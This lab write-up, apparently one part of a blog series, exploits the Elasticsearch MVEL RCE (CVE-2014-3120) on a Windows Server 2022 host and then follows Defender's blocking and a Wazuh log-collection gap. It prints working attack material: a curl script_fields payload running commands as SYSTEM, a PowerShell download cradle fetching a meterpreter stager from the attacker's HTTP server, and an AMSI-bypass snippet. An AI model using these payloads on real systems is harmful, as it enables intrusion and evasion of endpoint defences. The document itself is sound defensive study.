Metasploit Deep Dive Part 6: CVE-2014-3120, a Real Module, and Three Things Windows Defender Got Right

Part 1 listed this post as blocked, waiting on a live target and a Wazuh deployment watching it in real time rather than a reconstruction after the fact. Both are in place now, so this is the first of the series’ four hands-on parts, and it does not end the way the others in this series have. There is a real, disclosed CVE, a real Metasploit module, and genuine unauthenticated code execution as nt authority\system. There is no meterpreter session. What’s interesting is exactly why not, and what happened when we went and checked whether the SIEM watching the target ever noticed.

The target and the CVE

target-win2022 has carried this vulnerability since the Sn1per series first found it: Elasticsearch 1.1.1 listening on 9200, no authentication in front of it. That version number is a giveaway on its own. CVE-2014-3120 covers Elasticsearch versions before 1.2, where the dynamic scripting feature evaluated MVEL expressions passed through the script_fields parameter of a search request with no sandboxing at all. Any script that valid MVEL syntax could express, the server would run, including reads against java.lang.System and, with the right chain, arbitrary command execution through java.lang.Runtime.

That’s a JVM-code-execution primitive, not a native shellcode-injection one, and it decides everything about how the Metasploit side of this had to go.

Finding the module and why the payload list is short

msf > search cve:2014-3120

Matching Modules
================

   #  Full Name                                    Disclosure Date  Rank       Check  Name
   -  ---------                                    ---------------  ----       -----  ----
   0  exploit/multi/elasticsearch/script_mvel_rce  2013-12-09       excellent  Yes    ElasticSearch Dynamic Script Arbitrary Java Execution

msf > use exploit/multi/elasticsearch/script_mvel_rce
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

Msfconsole defaults to java/meterpreter/reverse_tcp on its own the moment the module is selected, before anyone sets a payload by hand, and that default is the only sane one available. show options lists a WritableDir option documented as “only for *nix environments” alongside TARGETURI and RPORT (9200 by default), and the payload options are scoped to java/meterpreter/reverse_tcp specifically, not a general Windows or Linux payload list.

Reaching for the obvious native payload anyway confirms why:

msf exploit(multi/elasticsearch/script_mvel_rce) > set RHOSTS 10.10.10.50
msf exploit(multi/elasticsearch/script_mvel_rce) > set RPORT 9200
msf exploit(multi/elasticsearch/script_mvel_rce) > set LHOST 10.10.10.5
msf exploit(multi/elasticsearch/script_mvel_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(multi/elasticsearch/script_mvel_rce) > run
[-] Exploit failed: windows/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.

The module’s delivery mechanism is MVEL evaluating Java code inside Elasticsearch’s own JVM. It can drop and launch a payload jar, but it has no path to injecting native OS shellcode, so unset PAYLOAD and falling back to the module’s own default was the only way forward.

The first two runs go nowhere, and that’s worth showing rather than skipping

msf exploit(multi/elasticsearch/script_mvel_rce) > unset PAYLOAD
msf exploit(multi/elasticsearch/script_mvel_rce) > run
[*] Started reverse TCP handler on 10.10.10.5:4444
[*] Trying to execute arbitrary Java...
[-] Exploit aborted due to failure: unknown: 10.10.10.50:9200 - Java has not been executed, aborting...
[*] Exploit completed, but no session was created.

The obvious read at this point was that the target index was empty and script_fields had nothing to evaluate against, a reasonable hypothesis and the first thing worth checking against _search?pretty directly. Turning on verbose output for the next attempt to see exactly what the module was testing:

msf exploit(multi/elasticsearch/script_mvel_rce) > set VERBOSE true
msf exploit(multi/elasticsearch/script_mvel_rce) > run
[*] Started reverse TCP handler on 10.10.10.5:4444
[*] Trying to execute arbitrary Java...
[*] Trying to execute 'System.getProperty("java.version")'...
[*] No results for the Java test
[-] Exploit aborted due to failure: unknown: 10.10.10.50:9200 - Java has not been executed, aborting...
[*] Exploit completed, but no session was created.

Same failure, now with visibility into the module’s own internal check-and-retry logic: it runs a harmless property read first, and only proceeds to the actual payload delivery once that comes back with a result. That the very next run, with nothing else changed, got a real answer to the same test suggests the module’s own probe is non-deterministic against this target rather than the index genuinely being empty. Worth flagging as a live question rather than a settled one.

Three runs, three jars, no session

The third run, with nothing changed since the last one, got past the Java test entirely:

msf exploit(multi/elasticsearch/script_mvel_rce) > run
[*] Started reverse TCP handler on 10.10.10.5:4444
[*] Trying to execute arbitrary Java...
[*] Trying to execute 'System.getProperty("java.version")'...
[*] Answer to Java test: ;C:\es\elasticsearch-1.1.1/lib/elasticsearch-1.1.1.jar;...\lib\sigar\sigar-1.6.4.jar
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2022'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\CTfeWh.jar' on the target
[*] Exploit completed, but no session was created.

(The classpath dump is the real, full elasticsearch-1.1.1 library list, unchanged across every run that reached this point; trimmed here for length.)

That’s a real classpath returned from a live JVM, a real remote-OS fingerprint, and a real writable-TEMP-path discovery, all genuine JVM code execution through the CVE. Two more runs followed the identical pattern, each generating a new random jar name and each ending the same way:

[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\SFa.jar' on the target
[*] Exploit completed, but no session was created.
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\PUaumd.jar' on the target
[*] Exploit completed, but no session was created.

Each run’s output claimed the jar had been written and warned about needing manual cleanup on the target. Each time, a separate SSH session to target-win2022 checked for it directly:

administrator@TARGET-WIN2022 C:\Users\Administrator> powershell
PS C:\Users\Administrator> Get-ChildItem C:\Windows\TEMP\*.jar

    Directory: C:\Windows\TEMP

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
------        31/08/2026     16:57        4913562 winstone8185229712729102118.jar

One jar in that directory, and it’s Jenkins’s own bundled Winstone container jar, dated from a completely unrelated day. No CTfeWh.jar, no SFa.jar, no PUaumd.jar, in any of the three checks. No jar the module reported writing had ever survived on disk.

That’s a specific and useful kind of failure. The module wasn’t lying about writing the file; it was reporting its own action, not the file’s outcome. Something was removing each jar between the write and any check being able to see it.

Chasing a red herring: which process is actually Elasticsearch

Before getting to what was eating the jars, one detour worth including because it’s the kind of mistake a walkthrough usually edits out. Get-Process java,javaw on the target returned exactly one hit, PID 5452, and it was tempting to assume that was Elasticsearch. It wasn’t.

PS C:\Users\Administrator> Get-Process java,javaw -ErrorAction SilentlyContinue

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    724      54   363960     309516      93.16   5452   0 java

PS C:\Users\Administrator> netstat -ano | findstr :8080
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       5452
  TCP    [::]:8080              [::]:0                 LISTENING       5452

PID 5452 was listening on 8080, not 9200, and it’s Jenkins, running under its own bundled Winstone container (the same jar spotted a moment ago in C:\Windows\TEMP), a service this target has carried since the Sn1per series first flagged it as a second, never-fully-explored attack surface on this host. Elasticsearch itself never showed up in a plain java,javaw process filter, and Defender’s own detection log, checked a moment later, confirmed exactly why: every jar-drop detection on this host names C:\es\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe as the offending process, not a bare java.exe. Elasticsearch on this box runs through a native service wrapper, an Apache Commons Daemon-style launcher that hosts the JVM inside its own process rather than spawning a separate visible Java process. Worth flagging for whoever eventually writes the Jenkins side of this target up properly, in a later part.

What was actually eating the jars

Get-MpThreatDetection on target-win2022 closed the question immediately:

ActionSuccess         : True
DetectionSourceTypeID : 3
InitialDetectionTime  : 14/09/2026 11:23:50
ProcessName           : C:\es\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe
Resources             : {file:_C:\Windows\Temp\CTfeWh.jar}
ThreatID              : 2147731934

ActionSuccess         : True
DetectionSourceTypeID : 3
InitialDetectionTime  : 14/09/2026 13:29:31
ProcessName           : C:\es\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe
Resources             : {file:_C:\Windows\Temp\SFa.jar}
ThreatID              : 2147731934

ActionSuccess         : True
DetectionSourceTypeID : 3
InitialDetectionTime  : 14/09/2026 13:32:21
ProcessName           : C:\es\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe
Resources             : {file:_C:\Windows\Temp\PUaumd.jar}
ThreatID              : 2147731934

All three, same ThreatID, same DetectionSourceTypeID: real-time file-scan protection. Windows Defender was quarantining each dropped jar the instant it hit disk, well before a Get-ChildItem check issued moments later could ever observe it. (The same dump also turned up one much older, unrelated detection, ThreatID 2147891999 against TModyEfq.exe and a service named tUGm, timestamped 31/08/2026, real but left over from the old-kit-new-kit series’ psexec testing on this same host, not part of this investigation.)

Not a Metasploit bug, and not a network or payload-generation problem. A defense doing exactly what it’s supposed to do, fast enough that the module’s own success reporting and the actual state of the filesystem told two different stories. This is worth sitting with on its own: the module’s console output is trustworthy about what it did, not about what happened next. Three separate times in this investigation, the only way to get ground truth was to stop reading msfconsole output and go check the target directly.

Proving the RCE anyway

At this point the automated path was exhausted, but the underlying vulnerability clearly wasn’t the problem, Defender’s file-scan was. The way to separate those two questions cleanly was to go back to the original 2014-era technique the CVE describes and run it by hand, no Metasploit involved, using script_fields to evaluate a command through java.lang.Runtime directly:

curl -s -XPOST http://10.10.10.50:9200/website/blog/1/_search -d '{
  "size": 1,
  "script_fields": {
    "lupin": {
      "lang": "mvel",
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getInputStream().text"
    }
  }
}'

The response body carried the command’s actual stdout back through the search result: nt authority\system. That’s unauthenticated remote code execution, at the highest privilege level Windows has, confirmed independently of any Metasploit tooling, using nothing more than the public technique this CVE has been documented with since 2014. Whatever happened next with meterpreter, this is the real finding, and it’s the strongest proof point in the whole post.

Pushing for a session anyway

A working RCE primitive with no automated session felt like an unsatisfying place to stop for a series built around going past the surface, so the next step was building a delivery chain by hand. A multi/handler job was already standing by from testing the module’s own default listener:

msf exploit(multi/elasticsearch/script_mvel_rce) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.10.5
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.10.5:4444

With a native windows/x64/meterpreter/reverse_tcp handler up and waiting, the plan was to use the same MVEL Runtime.exec primitive to launch PowerShell, pull down a msfvenom-generated reflective Meterpreter stager over HTTP, and see how far a manual chain could get where the automated module couldn’t.

The first real obstacle was mechanical rather than defensive. A PowerShell one-liner has to survive three separate layers of string escaping to reach the target this way: a JSON string in the curl payload, an MVEL string literal inside that JSON, and the shell itself. Getting the quoting right for a DownloadString("http://...") call with double quotes miscounted a nesting level and produced SearchParseException[...unterminated string literal...]. The fix was switching the whole PowerShell command to powershell -EncodedCommand, a base64-encoded UTF-16LE blob with no embedded quote characters at all, which sidesteps the escaping problem entirely rather than trying to get it exactly right by hand.

With the download cradle landing cleanly, msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh-reflection generated a reflective-loading PowerShell stager, served from Kali1 over python3 -m http.server 8000, and pulled down via an IEX(New-Object Net.WebClient).DownloadString(...) cradle through the encoded-command wrapper.

Still no session. Get-WinEvent against the Defender operational log had the answer, and it was a different Defender component this time:

TimeCreated : 14/09/2026 17:11:51
Message     : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.
                Name: Trojan:PowerShell/Cobacis.Z!MTB
                ID: 2147948500
                Severity: Severe
                Category: Trojan
                Path: amsi:_\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                Detection Source: AMSI
                User: NT AUTHORITY\SYSTEM
                Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

TimeCreated : 14/09/2026 17:12:03
Message     : Microsoft Defender Antivirus has detected malware or potentially unwanted software using Defender
              security intelligence and applied the remediation action defined in the security settings.
                Name: Trojan:PowerShell/Cobacis.Z!MTB
                ID: 2147948500
                Detection Source: AMSI
                Action: Quarantine
                Action Status:  No additional actions required

AMSI, the Antimalware Scan Interface, inspects PowerShell content before it executes, at a layer that predates and sits independently of the file-scan engine that caught the jars. The psh-reflection stager’s content itself got flagged and quarantined before it could ever run.

The AMSI bypass, and the layer underneath it

The classic amsiInitFailed technique patches AMSI’s own internal state through reflection: walk [Ref].Assembly.GetTypes() for the type whose name matches *iUtils (the internal AmsiUtils class), find its static *Context field, and zero it out via Marshal.Copy, so AMSI reports “already failed, skip scanning” for the rest of the process. Chaining that ahead of the download cradle, delivered the same way through -EncodedCommand, was the next attempt. Decoded, the payload was:

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*iUtils') {$c=$b}};
$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like '*Context') {$f=$e}};
$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$g,1);
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/shell.ps1')

That failed too, and differently, three separate times over six minutes:

InitialDetectionTime : 14/09/2026 17:30:52
ProcessName           : Unknown
Resources             : {CmdLine:_C:\Windows\System32\cmd.exe /c powershell -nop -w hidden -EncodedCommand ...}
ThreatID              : 2147830457

InitialDetectionTime : 14/09/2026 17:34:37
ProcessName           : Unknown
Resources             : {CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -EncodedCommand ...}
ThreatID              : 2147830457

InitialDetectionTime : 14/09/2026 17:36:15
ProcessName           : Unknown
Resources             : {CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -EncodedCommand ...}
ThreatID              : 2147830457

The first attempt went through a cmd.exe /c powershell ... wrapper; the underlying error each time was the same regardless:

Cannot run program "cmd.exe": CreateProcess error=5, Access is denied

Dropping the cmd.exe wrapper and invoking powershell.exe directly (the second and third attempts) produced the identical CreateProcess error=5 failure against the identical encoded-command content. That rules out AMSI as the cause, since this failure happens before anything gets far enough to hit a scripting engine at all, and it rules out the specific host binary as the cause, since the block followed the command line regardless of which process launched it. All three share ThreatID 2147830457, DetectionSourceTypeID 2: pre-execution command-line and behavior analysis, a layer that inspects what a process is about to be launched with and blocks the CreateProcess call itself, entirely separate from both the file-scan engine that caught the jars and the AMSI engine that caught the first stager.

Three architecturally distinct Windows Server 2022 defensive layers, each one triggered independently:

AttemptComponentDetectionSourceTypeIDThreatID
Module-dropped payload jars (x3)Real-time file scan32147731934
psh-reflection stager via download cradleAMSI102147948500
AMSI-bypass chain via encoded command (x3)Behavior/command-line monitoring22147830457

Every attempt against the standing handler ended the same way:

msf exploit(multi/handler) > sessions -l

Active sessions
===============

No active sessions.

At that point the honest call was to stop pushing the offensive side further and go check what the SIEM sitting on this exact host had actually recorded through all of it.

What Wazuh saw

wazuh-lab-manager at 10.10.10.10 has carried an agent on target-win2022 (agent ID 003) since the old-kit-new-kit series started exercising it. agent_control -l confirms it as alive and current. The first query against alerts.json for the test window came back completely empty:

sudo jq -c --arg agent "TARGET-WIN2022" 'select(.agent.name==$agent) | select(.timestamp >= "2026-09-14T11:00:00") | {timestamp, rule: .rule.description, level: .rule.level, full_log}' /var/ossec/logs/alerts/alerts.json

No output at all, and the first instinct, that Wazuh had simply missed everything, turned out to be wrong for a boring reason: that filter used TARGET-WIN2022 in uppercase, and the agent is registered lowercase. agent.name matching is exact-case. The corrected query:

sudo jq -c --arg agent "target-win2022" 'select(.agent.name==$agent) | select(.timestamp >= "2026-09-14T11:00:00") | {timestamp, rule: .rule.description, level: .rule.level, full_log}' /var/ossec/logs/alerts/alerts.json

returned hundreds of real alerts across the full test window. A representative slice:

{"timestamp":"2026-09-14T12:59:29.966+0000","rule":"IIS NetworkCleartext Logon Success","level":3,"full_log":null}
{"timestamp":"2026-09-14T13:12:54.326+0000","rule":"Software protection service scheduled successfully.","level":3,"full_log":null}
{"timestamp":"2026-09-14T16:03:51.704+0000","rule":"Registry Key Integrity Checksum Changed","level":5,"full_log":"Registry Key '[x32] HKEY_LOCAL_MACHINE\\Security\\Policy\\Accounts' modified\n..."}
{"timestamp":"2026-09-14T17:03:57.478+0000","rule":"Windows Logon Success","level":3,"full_log":null}

Routine Windows Logon/Logoff pairs, scheduled software-protection heartbeats, and a large cluster of registry-integrity events around 16:03-16:04 that trace to unrelated Windows service updates, not this test. Proof the agent was alive, connected, and actively reporting the entire time. None of it, across the full window covering all three of the failed jar drops, the AMSI catch, and all three behavior-monitoring blocks, was a Defender detection. Not one of the seven real, timestamped events Windows Defender logged locally on that exact host ever reached the SIEM watching it.

Root cause: a missing eventchannel

That gap had one clean explanation to check before assuming anything more interesting: whether the agent’s own configuration was even asking Windows for Defender’s event log at all.

PS C:\Users\Administrator> Get-Content "C:\Program Files (x86)\ossec-agent\ossec.conf" | Select-String -Pattern "Defender","eventchannel" -Context 1,1

      <location>Application</location>
>     <log_format>eventchannel</log_format>
    </localfile>
      <location>Security</location>
>     <log_format>eventchannel</log_format>
      <query>Event/System[EventID != 5145 and EventID != 5156 and EventID != 5447 and
      <location>System</location>
>     <log_format>eventchannel</log_format>
    </localfile>

It wasn’t. Three <localfile> blocks with <log_format>eventchannel</log_format>, covering Application, Security (with an EventID exclusion filter), and System. Not one match for “Defender” anywhere in the file. There is no block anywhere for Microsoft-Windows-Windows Defender/Operational, the channel Defender actually writes its detection events to. The agent was never blind or broken; it was never asked to look. Every routine piece of telemetry it forwarded throughout this entire test was real and correct. Defender’s own detections simply live on a channel this agent’s configuration never subscribed to.

Where this leaves Part 6

No meterpreter session, and that’s fine. What came out of this instead is more useful for a series that’s supposed to be honest about what the framework does and doesn’t get you: a confirmed, disclosed, unauthenticated SYSTEM-level RCE reproduced by hand against a real Elasticsearch instance twelve years after the CVE that describes it; a genuine live-JVM classpath and OS fingerprint pulled straight through the vulnerable endpoint by the real module; three architecturally distinct Windows Server 2022 defensive layers, each independently triggered and each correctly identified from the target’s own logs rather than assumed; and a genuine SIEM configuration gap, caught mid-investigation rather than discovered by accident later, with a root cause that took one command to confirm.

That last finding is the one worth carrying forward. A Wazuh agent that’s alive, current, and correctly forwarding three Windows Event Log channels can still be completely blind to the specific channel that matters most for a host actively fending off exploitation, and the only way to know is to check the <localfile> list against what you actually expect to be watched, not just whether the agent shows green in agent_control -l. That’s exactly the kind of gap the HIDS series building on this Wazuh deployment needs to go looking for deliberately rather than stumbling into it the way this post did.

Sources: Sn1per Deep Dive Part 8: The Windows Target, Sn1per Deep Dive Part 9: What a Pen Tester Without Sn1per Would Have Found, Old Kit, New Kit Part 10: Remote Access, NVD: CVE-2014-3120.